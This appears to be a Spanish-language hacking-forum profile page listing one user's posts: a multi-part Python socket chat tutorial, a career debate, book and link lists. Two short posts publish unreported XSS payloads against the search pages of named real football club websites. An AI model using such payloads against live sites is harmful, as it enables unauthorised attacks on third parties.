Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.


Temas - WhiZ

Páginas: [1] 2
1
Debates / Seguridad informática: ¿trabajo o hobbie?
« en: Abril 22, 2016, 09:59:26 pm »
Buenas a todos los underc0ders!

Hace mucho que, por diversas cuestiones, se me hace imposible participar en el foro y aportar con algún tutorial, una app o alguna de esas cosas que tanto me gusta. Sin embargo, hoy estuve pensando en algo que me llamó bastante la atención y se me ocurrió que podría ser un aporte interesante.

Actualmente, me encuentro trabajando como médico informático (una mezcla media rara jeje) y, más allá de los detalles, por primera vez tengo la posibilidad de ver un área de seguridad informática en acción.

Tantos años en este foro me llevaron a crearme una imagen del experto en seguridad informática que, al menos en mi caso, contrasta mucho con la imagen de la 'realidad'. En la empresa en la que trabajo, es muy común encontrar vulnerabilidades y es fácil evadir algunos mecanismos de seguridad desarrollados por el área de seguridad informática. Por otro lado, las personas que trabajan en dicha área, no son pentesters o algo así, sino que se la pasan evaluando usuarios y perfiles,  permisos de acceso por usuario / ip, etcétera. Parece, más bien, un trabajo administrativo y no el gran reto que yo siempre imaginé que tendría un experto en seguridad informática.

Todo esto me llevó a preguntarme: ¿generalmente es así el trabajo en este área? ¿Hace falta ser un experto reconocido o trabajar en una empresa que se dedique, específicamente, a hacer auditorías de seguridad informática para hacer la parte más interesante de esta profesión? De ser así, ¿sería más interesante y reconfortante hacerlo como hobbie?

Creo que este tema, además de interesante, resulta de mucha importancia, sobre todo para aquellos que piensan vivir de esto y que se pueden llevar una gran sorpresa el día de mañana, ¿no es así?

¿Qué opinan ustedes?

Enviado desde mi GT-I8260L mediante Tapatalk


2
Python / [Python] Underch4t v1.0 (Parte 4)
« en: Enero 03, 2016, 09:34:09 pm »

UnderCh4t



Bienvenidos a la cuarta entrega de esta serie. Poco a poco vamos armando nuestro humilde pero querido UnderCh4t. Si es la primera vez que escuchás hablar de esta serie o, por el contrario, ya lo hiciste pero te interesa repasar algunos conceptos, entonces te invito a pasar por los posts anteriores:

    - Parte 1 - Creación del servidor
    - Parte 2 - Interfaz de conexión
    - Parte 3 - Poniendo al servidor en escucha y aceptando conexiones entrantes

Muy bien. Mencionamos dos problemas al final de la tercera entrega:
    - establecer una charla con el cliente (intercambiar información)
    - recibir más de un cliente y de forma simultánea.

Debido a que el tema de threading es un poco complejo (sólo un poco jeje), lo vamos a ir explicando de a poco, en dos entregas o más (dependerá del tiempo que disponga para escribir). Hoy, mientras tanto, nos enfocaremos en el primero de los problemas citados. Comencemos!



INTERCAMBIANDO INFORMACIÓN


Como vimos en la entrega anterior, hasta ahora no le damos un buen servicio al cliente. Cada vez que se conecta, se imprime su dirección de red y se cierran ambos sockets (el del cliente y el del servidor). Repasemos el código:

Código: Python
  1. # -*- coding: utf-8 -*-
  2. import socket
  3.  
  4. # creamos socket para el servidor
  5. servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6.  
  7. # establecemos interfaz de conexión
  8. servidor.bind(("0.0.0.0", 2236))
  9.  
  10. # modo pasivo y backlog
  11. servidor.listen(5)
  12.  
  13. # aceptamos al cliente
  14. cliente, direccion = servidor.accept()
  15.  
  16. print cliente
  17. print direccion
  18.  
  19. cliente.close()
  20. servidor.close()

Nuestro objetivo es mantener la conexión hasta que ambas partes decidan cerrarla. Sólo es posible saber eso si primero realizamos un intercambio de información entre ambas partes. Es decir, el servidor nunca se enterará que el cliente desea cerrar la conexión, al menos que reciba un mensaje por parte de él (y viceversa).

Por suerte, el objeto socket posee dos métodos que nos permiten hacer esto de forma sencilla: send y recv.

Para ser fieles a nuestras costumbres, recurramos a la documentación oficial y veamos cómo funciona cada uno.

El método send, como su nombre lo indica, nos permite enviar información al socket al que estamos conectados (ya sea cliente o servidor). Su sintaxis es la siguiente:

Código: Python
  1. data = "mensaje"
  2. flags = 0
  3. socket.send(data, flags)

Como vemos, el método recibe dos argumentos:
    - data: es la información que queremos transmitir.
    - flags: este argumento, de tipo entero y opcional, nos permite establecer cómo queremos que se envíe la información. Su valor, por defecto, es cero. Podemos ver otros de sus posibles valores por aquí.

Al finalizar, nos devuelve el número de bytes que fueron enviados. Esto es importante por el hecho de que somos nosotros, por medio de nuestra aplicación, los que debemos llevar la cuenta de cuántos bytes hemos enviado y cuántos quedan por enviar.

Por último, también es importante saber que este método es bloqueante, es decir, la aplicación quedará detenida en este punto hasta que finalice el envío de información.

El método recv es bastante similar al anterior y nos permite recibir la información enviada por el socket al que estamos conectados (ya sea cliente o servidor). Su sintaxis es la siguiente:

Código: Python
  1. bufsize = 1024
  2. flags = 0
  3. socket.recv(bufsize, flags)

Al igual que el método anterior, los argumentos que recibe son dos:
    - bufsize: es un entero que indica la cantidad máxima de datos que se recibirán por vez. Tal como se comenta en la documentación, se recomienda utilizar pequeñas potencias de 2 (por ejemplo, 1024, 2048 o 4096).
    - flags: este argumento, de tipo entero y opcional, nos permite establecer cómo queremos que se reciba la información (sí, es casi idéntico al argumento del método send). Su valor por defecto es cero pero podemos utilizar cualquiera de los flags que vemos por aquí.

Al finalizar, el método devuelve una dato de tipo str que corresponde al mensaje enviado por el otro extremo de la conexión.

De forma similar al anterior, este método es bloqueante. La aplicación se estancará en este punto hasta finalizar de recibir toda la información.

Muy bien. Ahora que ya sabemos como enviar y recibir información, es hora de codear un poco.

servidor.py
Código: Python
  1. # -*- coding: utf-8 -*-
  2. import socket
  3.  
  4. # creamos el socket del servidor
  5. servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6.  
  7. # establecemos interfaz de conexión
  8. servidor.bind(("0.0.0.0", 2236))
  9.  
  10. # modo pasivo y backlog
  11. servidor.listen(5)
  12.  
  13. # aceptamos conexiones entrantes
  14. cliente, direccion = servidor.accept()
  15.  
  16. # enviamos un mensaje al cliente
  17. msj = "Bienvenido a UnderCh4t! Escribí '/desconectar' para salir."
  18. cliente.send(msj)
  19.  
  20. # creamos un bucle para recibir información enviada por el cliente
  21. while True:
  22.     # recibimos la información enviada por el cliente
  23.     recv = cliente.recv(1024)
  24.  
  25.     # formateamos la información
  26.     recv = recv.lower().strip()
  27.  
  28.     # verificamos si hay que finalizar la conexión
  29.     if recv == "/desconectar":
  30.         cliente.close()
  31.         break
  32.  
  33.     # imprimimos en pantalla la información recibida
  34.     print recv
  35.  
  36. # cerramos el servidor
  37. servidor.close()

Quiero dejar en claro que hay muchas cosas que estamos dejando de lado. Esto lo digo por varias cosas pero, principalmente, por los errores y el manejo de los mismos. Poco a poco iremos mejorando nuestro código. Por ahora, sólo me interesa transmitir, uno a uno, los conceptos que vamos tratando.

Para los que se están preguntando por la línea en la que formateamos la información, les recuerdo que recv es una variable de tipo str, por lo que lower y strip son dos de sus tantos métodos (más información por aquí: lower - strip).

Si ponemos en marcha nuestro nuevo servidor, veremos que hemos ganado un poco de funcionalidad. El servidor se quedará recibiendo mensajes del cliente hasta que éste le indique su intención de cerrar la conexión (enviando el mensaje "/desconectar").

Muy bien. Esto es todo por hoy. Hagan pruebas, jueguen y experimenten con su servidor. Paciencia que en algún momento nos meteremos con el cliente. Mientras tanto, pueden usar telnet o netcat (recomiendo este último).

Saludos y hasta la próxima!
WhiZ

3
Python / [Python] Underch4t v1.0 (Parte 3)
« en: Enero 02, 2016, 01:33:12 pm »

UnderCh4t



Bienvenidos a la tercera entrega de UnderCh4t, un sencillo chat en python que nos ayudará a comprender algunos de conceptos de gran importancia para todo programador.

Si es la primera vez que escuchás hablar de este tutorial, te recomiendo que pases primero por estos posts:
    - Parte 1
    - Parte 2

Bien. Si hacemos un poco de memoria, en las entregas pasadas hemos estado enfocándonos en nuestro servidor. Más concretamente, hemos aprendido a crear un socket y a establecer una interfaz de conexión. Con todo esto, ya estamos en condiciones de poner a trabajar a nuestro servidor. Veamos cómo... ;)



PONIENDO AL SERVIDOR EN ESCUCHA


Debido a que esta vez las cosas van a ser un poco más complicadas, lo que voy a hacer es lo siguiente: primero, vamos a repasar las cosas que ya vimos en las entregas anteriores; en segundo lugar, vamos a poner el servidor en escucha y a atender las conexiones entrantes -es decir, los clientes que se conecten al servidor-.

Ya sabemos cómo crear el servidor y establecer la interfaz de conexión:
Código: Python
  1. # -*- coding: utf-8 -*-
  2. import socket
  3.  
  4. # creamos el socket
  5. mi_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6.  
  7. # establecemos interfaz de conexión
  8. ip = "127.0.0.1"
  9. puerto = 8000
  10. mi_socket.bind((ip, puerto))

Bueno, muy fácil hasta aquí. Lo que viene ahora es poner el servidor en escucha. Sin embargo, antes me gustaría charlar algunas cosas. Sé que todavía no tocamos el tema de los clientes pero voy a ir adelantando algunas cosas (nada que los vaya a complicar, no se preocupen). Tal como hacemos con el servidor, al momento de crear un cliente debemos definir un socket. ¿Cómo lo hacemos? Tan simple como esto:

Código: Python
  1. import socket
  2.  
  3. mi_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

Mmm... Esto me resulta bastante familiar, ¿no les parece? Sí. Esta misma línea la usamos para crear el socket en nuestro servidor. Interesante, ¿no?

Esto significa que cada vez que creamos un socket, éste sirve tanto para crear un servidor como un cliente, y debemos, por tanto, indicar qué rol tendrá el mismo en la conexión. En el caso del servidor (al cliente lo veremos en otro momento), lo hacemos con el método listen.

Tal y como vemos en la documentación oficial, la sintaxis es la siguente:

Código: Python
  1. socket.listen(backlog)

El método listen, en pocas palabras, pone al socket en modo pasivo y establece el número de conexiones TCP entrantes que el sistema puede encolar.

Analicemos bien esto:

    - Poner al socket en modo pasivo: decimos que un socket se encuentra en modo pasivo cuando está listo para ser usado como un servidor y, por el contrario, en modo activo cuando será utilizado como cliente.

    - Encolar conexiones entrantes: cuando el servidor se pone en marcha sólo tiene que esperar a que los clientes se conecten a él. Cuando esto sucede, se atiende al cliente de forma individual y dedicada. Esto significa que si el servidor está conectado con un cliente, los demás deberán esperar a que ésta conexión finalice para ser atendidos. Podemos comparar esto con la caja de un supermercado: el cajero atiende a un cliente a la vez. Los demás deberán ponerse en fila y esperar su turno.

    - Establecer número máximo de conexiones en la cola: con el método listen podemos indicar cuál es el número máximo de clientes que vamos a permitir en nuestra cola (es el llamado backlog). Si volvemos al ejemplo del supermercado, el cajero puede indicar el número máximo de clientes que tendrá la cola. Si el máximo fuera de cinco personas, la sexta será notificada de tal situación y le negarán el acceso a la cola (sí, tendrá que irse a otra caja o volver a probar en otro momento).

Si llevamos esto al código, nos queda algo así:
Código: Python
  1. # -*- coding: utf-8 -*-
  2. import socket
  3.  
  4. # creamos el socket
  5. mi_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6.  
  7. # establecemos interfaz de conexión
  8. ip = "127.0.0.1"
  9. puerto = 8000
  10. mi_socket.bind((ip, puerto))
  11.  
  12. # ponemos al socket en modo pasivo y establecemos el número
  13. # máximo de conexiones entrantes que el sistema puede encolar.
  14. backlog = 5
  15. mi_socket.listen(backlog)

Bien, ahora que ya hemos puesto al socket en modo pasivo (está escuchando: listen) y que hemos establecido el límite de conexiones a encolar (backlog), ya estamos en condiciones de recibir a nuestros clientes.



ACEPTANDO CONEXIONES ENTRANTES


Cuando decimos recibir a nuestros clientes, estamos hablando de aceptarlos. Justamente, para realizar esta tarea, existe el método accept. Para utilizar este método, sólo tenemos que escribir lo siguiente:

Código: Python
  1. conn, address = socket.accept()

Tal y como vemos en la documentación oficial, para utilizar este método, es necesario haber creado una interfaz de conexión previamente. Una vez ejecutado, el método devuelve (return) una tupla de dos elementos:
    - conn: un nuevo objeto socket utilizado para enviar y recibir información de la conexión.
    - address: dirección vinculada al socket que se encuentra en el otro extremo de la conexión (es decir, la dirección del cliente). Como dijimos en la entrega anterior, una dirección de red se compone, en el caso de las familias AF_INET (IPv4), de una tupla con dos valores: IP y puerto.

Si volvemos al código anterior y evaluamos los valores retornados, tendríamos algo así:

Código: Python
  1. >>> print conn
  2. <socket._socketobject object at 0x0000000001FBF660>
  3. >>> print address
  4. ('127.0.0.1', 2580)

Como vemos, conn es un objeto socket y address una tupla con dos valores: el primero es la IP -en este caso, una Loop IP-, el segundo valor corresponde al puerto. Recuerden que estos dos valores (IP y puerto) corresponden al cliente que acabamos de recibir (aceptar). El objeto socket es el que nos permitirá comunicarnos con ese cliente.

Esto significa que si quiero enviarle información al cliente, tendré que hacerlo por medio de conn, y lo haremos a la IP 127.0.0.1 y al puerto 2580. Esto lo veremos con más detalle en las próximas entregas pero les comento esto ahora para que se vayan haciendo una idea ;)

Muy bien, en el día de hoy hemos aprendido a poner nuestro servidor en escucha (listen), indicando el número máximo de conexiones entrantes a encolar (backlog), y a aceptar cada una de estas conexiones entrantes (accept). Para poner en práctica todo esto, pueden crear un archivo llamado servidor.py (ahora les paso el contenido) y conectarse a él por medio de telnet o netcat (más adelante veremos cómo crear nuestro propio cliente).

[b[servidor.py[/b]
Código: Python
  1. # -*- coding: utf-8 -*-
  2. import socket
  3.  
  4. # creamos servidor
  5. server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6.  
  7. # creamos interfaz de conexión
  8. server.bind(("0.0.0.0", 8080))
  9.  
  10. # ponemos al servidor en escucha
  11. # (backlog: 5)
  12. server.listen(5)
  13.  
  14. # recibimos conexiones entrantes
  15. conn, address = server.accept()
  16.  
  17. # imprimimos los datos devueltos por
  18. # el método accept
  19. print conn
  20. print address
  21.  
  22. # cerramos la conexión con el cliente
  23. conn.close()
  24.  
  25. # cerramos el servidor
  26. server.close()

Para finalizar, déjenme comentarles dos cosas. En primer lugar, hay un método nuevo que no habíamos visto todavía: close. Como sabemos, tanto server como conn son objetos socket. Esto significa que ambos presentan los mismos métodos. Este nuevo método, sirve para cerrar un socket. En este caso, primero cerramos el socket conn y luego el que creamos para el servidor.

En segundo lugar, por si no se dieron cuenta, en el código que acabamos de hacer tenemos un gran problema: sólo podemos recibir un cliente. Luego de crear la conexión, cerramos ambos sockets y se termina todo. Evidentemente, esto no nos sirve si queremos tener un chat funcional. En las próximas entregas veremos cómo prolongar la conexión con un cliente (bucles) y cómo interactuar con varios clientes a la vez (threads).

Nos vemos en la próxima entrega con más de UnderCh4t ;)

Saludos!
WhiZ

4
Python / [Python] Underch4t v1.0 (Parte 2)
« en: Diciembre 19, 2015, 05:33:38 pm »

UnderCh4t



Comenzamos la segunda entrega de este mini tutorial: creando nuestro propio chat con Python. El mío se llama UnderCh4t y si es la primera vez que escuchás hablar de él,  te invito a que pases por aquí y lo conozcas ;)



INTERFAZ DE CONEXIÓN


Hasta ahora no hemos hecho mucho: sólo creamos la estructura general de nuestro servidor (que, como veremos a lo largo del curso, irá sufriendo algunas modificaciones) y hemos desarrollado el método que nos permite crear el socket que vamos a utilizar para interactuar con nuestros clientes.

Si nos basamos en el método ejecutar (método guía del programa), ahora le toca el turno al método bind. Veamos primero su código:

Código: Python
  1. def _bind(self):
  2.     msj = "Estableciendo interfaz de conexión ({0}:{1})"
  3.     self._mostrar_info(msj.format(self.__ip, self.__puerto))
  4.     try:
  5.         self.__servidor.bind((self.__ip, self.__puerto))
  6.     except Exception as e:
  7.         self._mostrar_error(e, critico=True)

Nuevamente, dejando de lado los logs y el manejo de errores, lo único que nos interesa en este método es la siguiente línea:

Código: Python
  1. self.__servidor.bind((self.__ip, self.__puerto))

Como siempre, lo primero que haremos será pegarle una ojeada a la documentación oficial. En ella, podemos ver que el método bind tiene como objetivo establecer una interfaz de conexión, es decir, enlazar el socket a una dirección, la cual variará según la familia de dirección que utilicemos.

Citar
Esto ya lo vimos en la primera parte pero para los que todavía no saben de qué estamos hablando, vamos con un rápido repaso. Cuando creamos un socket, debemos indicar cómo queremos que sea, es decir, qué familia, tipo y protocolo queremos que utilice. Dentro de las familias de sockets, las más utilizadas son:
    - AF_INET (IPv4)
    - AF_INET (IPv6)
    - AF_UNIX (utilizada para comunicación entre procesos en una misma computadora).

Entonces, cuando creamos un socket, se le asigna una familia de direcciones pero no una dirección en particular. Para esto, debemos llamar al método bind, pasándole como argumento la dirección que queremos asignar al socket.

Como dijimos antes, cada familia de sockets tiene su forma de indicar esta dirección. La familia AF_INET, por ejemplo, utiliza una tupla con dos valores: host (dominio o dirección IP) y puerto. El código quedaría así:

Código: Python
  1. import socket
  2. mi_socket = socket.socket(AF_INET, SOCK_STREAM)
  3. direccion = ("127.0.0.1", 8000)
  4. mi_socket.bind(direccion)

En este caso, primero creamos el socket - indicamos familia y tipo de socket (al protocolo, no indicado, lo determina el sistema)- y luego vinculamos el socket a una dirección. La dirección es una tupla que contiene una dirección IP (127.0.0.1) y un puerto (8000).

Con respecto a las direcciones de las otras familias, debido a que se escapa a los objetivos de este tutorial, no vamos a decir mucho; simplemente que la familia AF_UNIX utiliza una cadena para indicar la dirección, mientras que la familia AF_INET6 requiere una tupla con cuatro valores: host, puerto, flujo de información e identificador de ámbito. No se preocupen que esto no es algo que tengan que saber para este curso. Sin embargo, si alguno tiene ganas de aprender más del asunto, aquí dejo algunos links de interés: AF_UNIX y IPv6.



Bueno, esto es todo por ahora. Originalmente, mi idea era hacer una segunda parte más extensa pero, considerando que lo que viene es un poco más complejo, decidí hacer una entrega más corta que no los complique y les permita entender estos nuevos conceptos sin dificultad.

Vayan leyendo y repasando estas dos primeras partes que les van a servir de base para la entrega que viene.  ;)

Saludos!
WhiZ

5
Python / [Python] Underch4t v1.0 (Parte 1)
« en: Diciembre 09, 2015, 01:56:48 pm »

UnderCh4t


Este es un pequeño servidor que acabo de crear en Python en respuesta a este post de @Theraritho5.

Voy a ir explicando, paso a paso, cómo armar el servidor y, finalmente, pongo todo el código completo.

Debido a que mi idea es ir explicando todo el proceso sin dejar cabos sueltos, ésta va a ser el primero de una serie de artículos en los que intentaré guiarlos en este maravilloso mundo de los sockets.

Comencemos!



CREANDO EL SERVIDOR


Lo primero que haremos es una clase llamada Servidor, la cual, en primera instancia, podrá realizar las siguientes tareas:
    - Sockets (vengan por acá los que no saben de qué estamos hablando ;) ):
        · crear un socket (servidor)
        · establecer interfaz de conexión: esto es, adjudicar ip y puerto local a la que se deberán conectar los clientes
        · poner el servidor en escucha
        · atender conexiones entrantes
        . cerrar socket
    - Informar estado del proceso
    - Manejar errores

Veamos cómo quedaría el código:
Código: Python
  1. import socket
  2. import sys
  3.  
  4. class Servidor(object):
  5.     def __init__(self, ip, puerto, max_con=5):
  6.         self.__ip = ip
  7.         self.__puerto = puerto
  8.         self.__max_con = max_con
  9.         self.__clientes = {} # { socket, [ip, puerto]}
  10.  
  11.     ##########
  12.     # SOCKET #
  13.     ##########
  14.     def ejecutar(self):
  15.         try:
  16.             self._crear_socket()
  17.             self._bind()
  18.             self._escuchar()
  19.             self._cerrar_socket()
  20.         except KeyboardInterrupt:
  21.             self._cerrar_socket()
  22.         except Exception as e:
  23.             self._mostrar_error(e, critico=True)
  24.  
  25.     def _crear_socket(self):
  26.         pass
  27.  
  28.     def _bind(self):
  29.         pass
  30.  
  31.     def _escuchar(self):
  32.         pass
  33.  
  34.     def _atender_cliente(self):
  35.         pass
  36.  
  37.     def _cerrar_socket(self):
  38.         pass
  39.  
  40.     ###########
  41.     # PROCESO #
  42.     ###########
  43.     def _mostrar_info(self, msj):
  44.         print " [+] {}".format(msj)
  45.  
  46.     def _mostrar_error(self, error, critico):
  47.         print " [!] Error: {}".format(error)
  48.         if critico:
  49.             self._salir()
  50.  
  51.     def _salir(self):
  52.         sys.exit(" [+] Finalizando aplicación")

Bien. Hasta aquí no hay mucho que decir. Hasta ahora hemos creado una clase 'Servidor' con dos grupos de métodos: los que se encargan de la conexión y los que se encargan de informar proceso y errores.

Vayamos con los métodos de conexión. El primero que vemos es el método 'ejecutar'. Este método constituye la guía de nuestra aplicación. Él se va a encargar de ir llamando, uno a uno, a cada método necesario para establecer nuestras conexiones.

Lo primero que hace es llamar a '_crear_socket'. Al menos que cambiemos un poco su contenido, no creo que pase mucho jeje. Vamos con eso:
Código: Python
  1. def _crear_socket(self):
  2.     self._mostrar_info("Creando socket")
  3.     try:
  4.         self.__servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5.         self.__servidor.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  6.     except Exception as e:
  7.         self._mostrar_error(e, critico=True)

Voy a intentar explicar, de forma sencilla, qué significa todo esto que acabamos de escribir. Más allá del manejo de errores, los logs y el debugging, lo que realmente queremos es que este método nos cree un socket. La pregunta es: ¿cómo hacemos eso? El módulo socket de python es quien nos permite realizar esta tarea. Para crear un socket, debemos escribir lo siguiente:
Código: Python
  1. mi_socket = socket.socket()

Todo muy lindo hasta acá pero los que saben y entienden de redes se estarán preguntando: ¿qué características tendrá este socket? ¿sobre qué protocolos se llevará a cabo la comunicación? Bueno, por defecto, el objeto utilizará los protocolos IP y TCP. ¿Y si quisiera utilizar UDP, en vez de TCP? ¿Puedo hacerlo? Absolutamente. Tal como se indica en la documentación oficial, podemos indicar la familia, el tipo y el protocolo que querramos utilizar:
Código: Python
  1. mi_socket = socket.socket(familia, tipo, protocolo)

Para no complicarnos, sólo nos centraremos en la familia y el tipo. Dentro de las familias de direcciones, encontramos las siguientes:

    - AF_INET: le indica al kernel que vamos a utilizar el protocolo IPv4.
    - AF_INET6: le indica al kernel que vamos a utilizar el protocolo IPv6.
    - AF_UNIX: a diferencia de las familias INET que están ligadas a una tupla ip-puerto, las familias UNIX se vinculan a un archivo específico de tu sistema de archivos. Nos sirve, por ejemplo, para comunicación entre procesos de un mismo host.

Dentro de los tipos, los más utilizados son:
    - SOCK_STREAM: le indica al kernel que para transmitir los datos vamos a utilizar un protocolo confiable (TCP, por ejemplo).
    - SOCK_DGRAM: le indica al kernel que para transmitir los datos vamos a utilizar un protocolo no confiable (como es el caso de UDP)

Entonces, si quisiéramos hacer una conexión basada en los protocolos IP y UDP, bastaría con escribir lo siguiente:
Código: Python
  1. familia = socket.AF_INET # IPv4
  2. tipo = socket.SOCK_DGRAM # UDP
  3. mi_socket = socket.socket(familia, tipo)

¿Vamos bien hasta ahí? Si es así, entonces continuemos que queda bastante por delante. Tenemos que saber que, una vez creado nuestro socket, podemos acceder a las opciones del mismo para modificarlas. Para hacerlo, el objeto socket nos brinda un método que nos facilita la tarea: setsockopt().

Tal y como nos indica la documentación oficial, para modificar una opción debemos indicar el nivel del socket (ya lo veremos unos renglones más abajo),  la opción que queremos modificar y el valor:
Código: Python
  1. mi_socket = socket.socket()
  2. mi.socket.setsockopt(nivel, opcion, valor)

Cuando hablamos de nivel, nos referimos, por decirlo de forma sencilla, al protocolo en el que se encuentra la opción que queremos modificar. Cada nivel tiene un valor que lo identifica, por ejemplo:
    - SOL_SOCKET: es el nivel del socket y el valor que lo identifica es 1.
    - SOL_TCP: es el nivel del protocolo TCP, cuyo identificador es el 6.
    - SOL_UDP: nivel del protocolo UDP, identificado por el número 17.

Como a nosotros sólo nos interesa acceder a las opciones del socket, vamos a utilizar SOL_SOCKET para indicar el nivel.

Dentro de las opciones (acá pueden ver un listado completo), a mi me interesa una en particular: SO_REUSEADDR. Esta opción nos permite reutilizar un socket local que se encuentre en estado TIME_WAIT, sin tener que esperar su tiempo natural de expiración (para los que no engancharon nada -> leer ;) ). La opción sólo acepta valores booleanos, es decir, reutiliza el socket o no lo utiliza (reutilizar: SI/NO).

Bien, ahora que entendemos un poco mejor cómo es esto de las opciones, vamos a modificar esta opción:
Código: Python
  1. mi_socket = socket.socket()
  2. nivel = SOL_SOCKET # Nivel del socket
  3. opcion = SO_REUSADDR # Opción a modificar
  4. valor = True # Sí, queremos reutilizar el socket
  5. mi_socket.setsockopt(nivel, opcion, valor)

Bien. Con esto queda concluido nuestro método para crear sockets. Con todo lo visto, ya son capaces de adaptar el método a sus necesidades. De hecho, podríamos modificar un poco el método para que sea más flexible:

Código: Python
  1. def _crear_socket(self, familia, tipo, opciones):
  2.     self._mostrar_info("Creando socket")
  3.     try:
  4.         self.__servidor = socket.socket(familia, tipo)
  5.         for opcion in opciones:
  6.             nivel, opcion, valor = opcion[:]
  7.         self.__servidor.setsockopt(nivel, opcion, valor)
  8.     except Exception as e:
  9.         self._mostrar_error(e, critico=True)



Con esto doy por concluida esta primera parte. En los próximos días iré desarrollando los demás métodos que tenemos pendientes y más ;)

Saludos!
WhiZ

P.D.: muchas gracias @po6xsecpo por la correción.

6
Off Topic / [Entretenimiento] Velocidactil
« en: Mayo 02, 2015, 10:55:26 am »






En esta oportunidad les traigo una página muy entretenida que sirve para aprender mecanografía jugando y compitiendo: http://www.velocidactil.es/

Existen dos modalidades de juego:

    - practicar: para jugar sólo o contra otros oponentes.

    - jugar: competir contra uno o más jugadores.

Puedes participar como invitado aunque lo recomendable es crear tu propia cuenta para llevar un registro de tus actividades.

Te invito a registrarte y publicar aquí mismo tus propios récords. En mi caso, apenas logro superar las 300 ppm. Vamos a ver si pronto publico mejores resultados.

Saludos!
WhiZ

7
Python / Documentación
« en: Abril 09, 2015, 11:10:36 am »



LECTURA OBLIGATORIA


Programa como un Pythonista: Python Idiomático
Los 12 mandamientos del código Python
Modismos y Antimodismos en Python
PEP 0 - Index of PEPs
PEP 0008 - Style Guide for Python Code - (Español)
PEP 0020 - The Zen of Python - (Español)
PEP 0257 - Docstring Conventions



ESPAÑOL


[ LIBROS ]
Aprenda a pensar como un programador con Python
Guía de aprendizaje de Python por Guido Van Rossum
Inmersión en Python
Introducción a la programación con Python
Python para principiantes - Eugenia Bahit

Curso django para perfeccionistas con deadlines

[ REVISTAS ]
Python entre todos N° 1- PyAR
Python entre todos N° 2- PyAR
Python entre todos N° 3- PyAR
Python entre todos N° 4- PyAR
Python entre todos N° 5- PyAR
Python entre todos N° 6- PyAR



INGLÉS


[ LIBROS ]
A Byte of Python
A Byte of Python (for Python 3.0)
Core Python Programming
Dive into Python
A learners guid to programming using the Python language - Guido Van Rossum (2002)
A Primer on Scientific Programming with Python - 2nd Edition
Beginning Python from Novice to Professional
Beginning Python
Python: how to program
Python Programming: an introduction to computer science

Foundations of Python Network Programming (2nd Edition)
Pro Python System Administration
Python for Unix and Linux System Administration
Creating Apps in Kivy
Django documentation
Game programming
Making use of Python
Making games with Python & Pygame
Beginning Python Visualization: crafting visual transformation scripts
Gray Hat Python
Violent Python

[ PRESENTACIONES ]
Advanced Python programming
Network programming - Part 1
Network programming - Part 2

[ UNIVERSIDAD DE CALIFORNIA]
Overview of Computer Networks
Tutorial on Network Programming with Python
Tutorial on Threads Programming with Python



Pueden obtener más libros gratuitos en revolunet (recomendado).

Más material de Python por aquí (85 libros).

8
Hacking ShowOff / [XSS] clubaindependiente.com
« en: Enero 08, 2015, 03:30:31 pm »
Aquí dejo otro XSS en la página del CAIR jeje.



URL: https://clubaindependiente.com/es/buscar?buscar=
Reportado: NO
Vector: <script>confirm(/ WhiZ/ );</script>

Saludos!
WhiZ

9
Hacking ShowOff / [XSS] bocajuniors.com.ar
« en: Enero 08, 2015, 03:27:49 pm »
Aquí un viejo XSS para alimentar la sección :)



URL: http://www.bocajuniors.com.ar/search?string=
Reportado: NO
Vector: <iframe src="http://underc0de.org"/>

Saludos!
WhiZ

10
Manuales y libros / [Libro] Hacking - The art of exploitation (2nd Edition)
« en: Noviembre 05, 2014, 10:34:13 pm »



Descripción

El hacking es el arte de resolver problemas de forma creativa, tanto si eso significa encontrar una solución poco convencional para un problema complicado como si se trata de aprovechar los agujeros de una programación descuidada. Muchas personas se autodenominan hackers, pero pocos tienen los conocimientos técnicos necesarios para realmente ponerlo a prueba.

En lugar de simplemente enseñar a usar las vulnerabilidades existentes, el autor, Jon Erickson, explica cómo funcionan las complejas técnicas de hacking, mostrando los fundamentos de la programación en C desde el punto de vista de un hacker.

Podemos ponernos manos a la obra depurando código, desbordando búferes, secuestrando comunicaciones de red, esquivando protecciones, aprovechando debilidades en contraseñas y quizás, incluso descubriendo nuevas vulnerabilidades.


Detalles del libro

Editor: No Starch Press
Por: Jon Erickson
ISBN: 978-1-59327-144-2
Año: 2008
Páginas: 488
Lenguaje: Inglés


Tabla de contenidos

Capítulo 0x100: Introduction
Capítulo 0x200: Programming
Capítulo 0x300: Exploitation
Capítulo 0x400: Networking
Capítulo 0x500: Shellcode
Capítulo 0x600: Countermeasures
Capítulo 0x700: Cryptography
Capítulo 0x800: Conclusion


Acerca del autor

Jon Erickson tiene una educación formal en ciencias de la computación y habla con frecuencia en conferencias de seguridad informática de todo el mundo. Él trabaja como especialista criptógrafo y la seguridad en el norte de California





Saludos!
WhiZ

11
Python / Introducción a Python
« en: Septiembre 29, 2014, 02:55:22 pm »
Hola Gente! Cómo les va? En esta ocasión traigo algo de material que tenía guardado. No es más que una pequeña introducción a Python pero prefiero compartirlo antes de que se pierda. Al final del post pueden encontrar un link con el material en pdf.

Comencemos!




Introducción


Voy a comenzar de una forma que no se acostumbra mucho hoy en día: definiendo.

Probablemente, muchos sepan que estamos a punto de adentrarnos en uno de los más maravillosos lenguajes de programación que existen actualmente. La pregunta es: ¿qué hace a este lenguaje tan especial? La respuesta es muy sencilla. Aún más de lo que podría parecer en un principio. Sin embargo, muchas de sus características y ventajas recién llegan a ser comprendidas luego de un tiempo. Es decir, nos veremos involucrados en un proceso de pythonización que código tras código nos irá respondiendo aquella pregunta tan importante que todos nos formulamos alguna vez al escuchar acerca de este misterioso ofidio de la programación.

Muy bien. Basta de vueltas y vayamos al grano. Entonces, ¿Qué es Python? Es un lenguaje de programación interpretado de alto nivel creado por Guido Van Rossum a fines de los años ochenta (dicen las malas lenguas que todo comenzó como un hobbie al buscar algo que lo mantenga ocupado durante las semanas de navidad). Entre sus características, podemos nombrar las siguientes:

